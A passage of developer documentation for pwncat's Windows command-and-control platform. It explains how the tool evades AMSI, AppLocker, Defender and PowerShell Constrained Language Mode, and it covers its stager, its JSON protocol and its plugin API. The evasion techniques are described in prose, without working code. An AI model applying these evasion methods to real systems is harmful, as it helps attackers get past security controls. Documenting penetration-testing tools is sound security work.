the C2. We whittled these goals down to the +following: + +- Automatically Bypass AMSI +- Automatically Bypass AppLocker +- Undetected by Defender +- Automatically Bypass PowerShell Constrained Language Mode +- Provide the user with an interactive shell +- Support structured interaction for automation +- Touch disk as little as possible + +This was a tall order, and doing so generically was difficult. I'll talk about our +solution to each of those problems. Firstly, AMSI was easy. Once everything was set +in place, we could use the standard .Net reflection to bypass AMSI relatively easily. + +This brought up another issue: Constrained Language Mode. In PowerShell, if constrained +language mode is active, we effectively have no access to .Net. This presents serious +problems. The only way we could find to bypass Constrained Language Mode without +depending on PowerShell v2 was to execute .Net code. From within .Net, we can reflectively +modify the PowerShell implementation, and spawn an interactive session in Full Language +Mode regardless of environment or Group Policy settings. + +With the need to execute .Net without reflective loading from PowerShell (due to CLM), +we now break one of our rules. We have to upload a file to disk to execute, and with +that we run into both Defender and AppLocker. For AppLocker, there is a list of safe +directories where we can place a binary, and load it with the .Net ``InstallUtil`` +tool. This provides a way around AppLocker. Further, we implemented a small stager +which simply waits and downloads more .Net code to be reflectively loaded. This +mitigates the files on disk by making the only on-disk file a simple stager with low +equity. It also makes the file on disk less likely to trigger Defender. + +At this point, we can load stage two which implements the required structured +interaction and interactive shell as needed, and have met all goals listed above +with a slight compromise on files touching disk. To make things as smooth as possible, +pwncat will automatically remove the stageone DLL when exiting. + +Communication Protocol +---------------------- + +After initializing stage two, pwncat communicates over Base64-encoded GZip blobs. +Each command sent is a JSON-encoded argument array specifying the type name, +method name, and subsequent arguments for a static method within stage two. The +JSON data is deserialized so you can pass any serializable type to a method natively +from pwncat. + +Responses are formatted in the same way as requests, except are returned as a dictionary. +The dictionary looks like this: + +.. code-block:: json + + { + "error": 0, + "result": {}, + "message": "" + } + +If a method fails, the error property will be non-zero, and the ``message`` property +will be present containing a description of the failure. If the method succeeds, the +``result`` property will contain the return value of the method. This value could be +any JSON serializable type (the example above shows an empty dictionary but it could +just as easily be a bare integer). + +The Windows platform provides a helper method to call methods which seamlessly translates +Python calls to method calls. The return value is the ``result`` property, and a +:class:`pwncat.platform.windows.Windows.ProtocolError` will be raised if there was an error. + +.. code-block:: python + + result = session.platform.run_method("PowerShell", "run", "[PSCustomObject]@{ thing = 5; }", 1) + # Prints "5" + print(result[0]["thing"]) + +There are also other abstractions within the framework for common operations like executing +PowerShell. For more information on the API of the Windows platform, please see the +API Documentation. + +Plugin API +---------- + +You can utilize the pwncat API to load third-party .Net assemblies from the attacker machine +and easily execute their methods. The stage two C2 provides the ability to load an assembly +and retrieve a unique identifier for the loaded assembly. You can then use this identifier +to execute methods from the assembly in a similar way to the ``run_method`` method above. + +The plugins themselves must implement a specific API in order to be compatible. A basic +plugin looks like this: + +.. code-block:: csharp + + using System.Reflection; + + class Plugin + { + public static void entry(Assembly stagetwo) + { + // Optional method; executing while loading the plugin + } + + public static string test(string arg1, int arg2) + { + // A method that can be called from the C2 + return "Hello " + arg1 + " " + arg2.ToString(); + } + } + +If you had compiled this plugin to a dll named ``example.dll``, you could load and execute it +with the following from pwncat: + +.. code-block:: python + + example = session.platform.dotnet_load("example.dll") + # this prints "Hello Plugin 42" + print(example.test("Plugin", 42)) + +The Windows platform will deduplicate plugins by name and by file hash to ensure individual +assemblies are only loaded once. If a given assembly has already been loaded, the existing +:class:`pwncat.platform.windows.Windows.DotNetPlugin` instance will be returned instead of +reloading the existing assembly.